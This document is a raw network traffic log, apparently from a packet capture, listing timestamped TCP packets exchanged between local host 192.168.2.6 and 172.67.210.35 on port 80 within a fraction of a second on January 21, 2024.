Jan 21, 2024 17:27:13.235966921 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.236007929 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.236025095 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.236037970 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.236051083 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.236063004 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.236073971 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.236088991 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.236098051 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.236118078 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.236210108 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.236258984 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.236805916 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.236819029 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.236830950 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.236844063 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.236866951 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.236891985 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.236968040 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.236982107 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.236994028 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.237004995 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.237018108 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.237025976 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.237029076 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.237040997 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.237054110 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.237055063 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.237067938 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.237081051 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.237085104 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.237092972 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.237103939 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.237104893 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.237119913 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.237126112 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.237133026 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.237144947 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.237154961 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.237159014 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.237171888 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.237174034 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.237185001 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.237196922 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.237209082 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.237215996 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.237221003 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.237232924 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.237246990 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.237256050 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.237260103 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.237273932 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.237277031 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.237287045 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.237301111 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.237313032 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.237314939 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.237327099 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.237339020 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.237339973 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.237353086 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.237363100 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.237366915 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.237380028 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.237390995 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.237401962 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.237410069 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.237410069 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.237413883 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.237421989 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.237432003 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.237440109 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.237489939 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.237540960 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.239535093 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.239547968 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.239561081 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.239567995 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.239579916 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.239593029 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.239604950 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.239612103 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.239619017 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.239641905 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.239654064 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.239665985 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.239666939 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.239680052 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.239692926 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.239705086 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.239717960 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.239718914 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.239746094 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.239759922 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.240289927 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.240304947 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.240345001 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.240483999 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.240497112 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.240509987 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.240524054 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.240536928 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.240549088 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.240556955 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.240581036 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.240592003 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.240988016 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.241002083 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.241013050 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.241040945 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.241168022 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.241180897 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.241192102 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.241204977 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.241214991 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.241219044 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.241231918 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.241245985 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.241250992 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.241257906 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.241270065 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.241270065 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.241282940 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.241283894 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.241297007 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.241317034 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.241341114 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.241470098 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.241482973 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.241493940 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.241519928 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.241663933 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.241677046 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.241688013 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.241694927 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.241707087 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.241713047 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.241722107 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.241734028 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.241739988 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.241746902 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.241760015 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.241766930 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.241771936 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.241779089 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.241784096 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.241806984 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.241835117 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.242578030 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.242736101 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.242748976 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.242760897 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.242773056 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.242784977 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.242786884 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.242803097 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.242815018 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.242815018 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.242826939 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.242830038 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.242840052 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.242852926 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.242863894 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.242866039 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.242878914 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.242892027 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.242892981 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.242918015 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.242933035 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.243231058 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.243243933 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.243261099 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.243274927 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.243288040 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.243292093 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.243300915 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.243311882 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.243345976 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.243400097 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.243412971 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.243424892 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.243437052 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.243448973 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.243453026 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.243462086 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.243472099 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.243474007 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.243486881 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.243499041 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.243500948 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.243511915 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.243525028 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.243532896 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.243539095 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.243551016 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.243563890 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.243563890 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.243577003 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.243582964 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.243591070 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.243602991 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.243609905 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.243617058 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.243629932 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.243632078 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.243643999 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.243657112 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.243659973 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.243669987 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.243686914 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.243705988 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.243722916 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.243793964 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.243807077 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.243818998 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.243832111 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.243844032 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.243844986 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.243863106 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.243870974 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.243876934 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.243897915 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.243928909 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.244263887 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.244277954 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.244288921 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.244329929 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.244402885 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.244416952 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.244426966 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.244438887 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.244448900 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.244452000 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.244465113 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.244477034 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.244479895 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.244491100 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.244503975 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.244508982 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.244518042 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.244527102 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.244530916 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.244550943 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.244576931 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.245163918 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.245177031 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.245217085 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.245342016 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.245353937 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.245364904 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.245378017 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.245392084 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.245404959 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.245405912 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.245418072 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.245430946 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.245431900 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.245444059 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.245450974 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.245457888 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.245471001 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.245481968 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.245485067 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.245497942 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.245532990 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.246084929 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.246098995 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.246133089 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.246279955 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.246294022 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.246304989 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.246316910 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.246330023 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.246330976 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.246344090 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.246357918 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.246371031 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.246371031 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.246385098 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.246398926 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.246398926 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.246412039 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.246421099 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.246426105 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.246436119 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.246460915 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.247173071 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.247185946 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.247198105 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.247210979 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.247224092 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.247224092 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.247236967 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.247251034 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.247260094 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.247265100 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.247277975 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.247291088 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.247292995 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.247303963 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.247311115 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.247317076 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.247330904 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.247334003 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.247344971 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.247360945 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.247392893 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.247999907 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.248013973 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.248024940 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.248038054 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.248050928 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.248059988 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.248064995 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.248079062 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.248095036 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.248109102 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.248117924 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.248121023 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.248132944 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.248146057 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.248152971 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.248159885 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.248172045 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.248178005 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.248186111 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.248197079 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.248234987 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.248938084 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.248950005 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.248963118 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.248975992 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.248989105 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.248991966 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.249001980 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.249015093 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.249020100 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.249027967 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.249056101 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.249084949 CET	49713	80	192.168.2.6	172.67.210.35
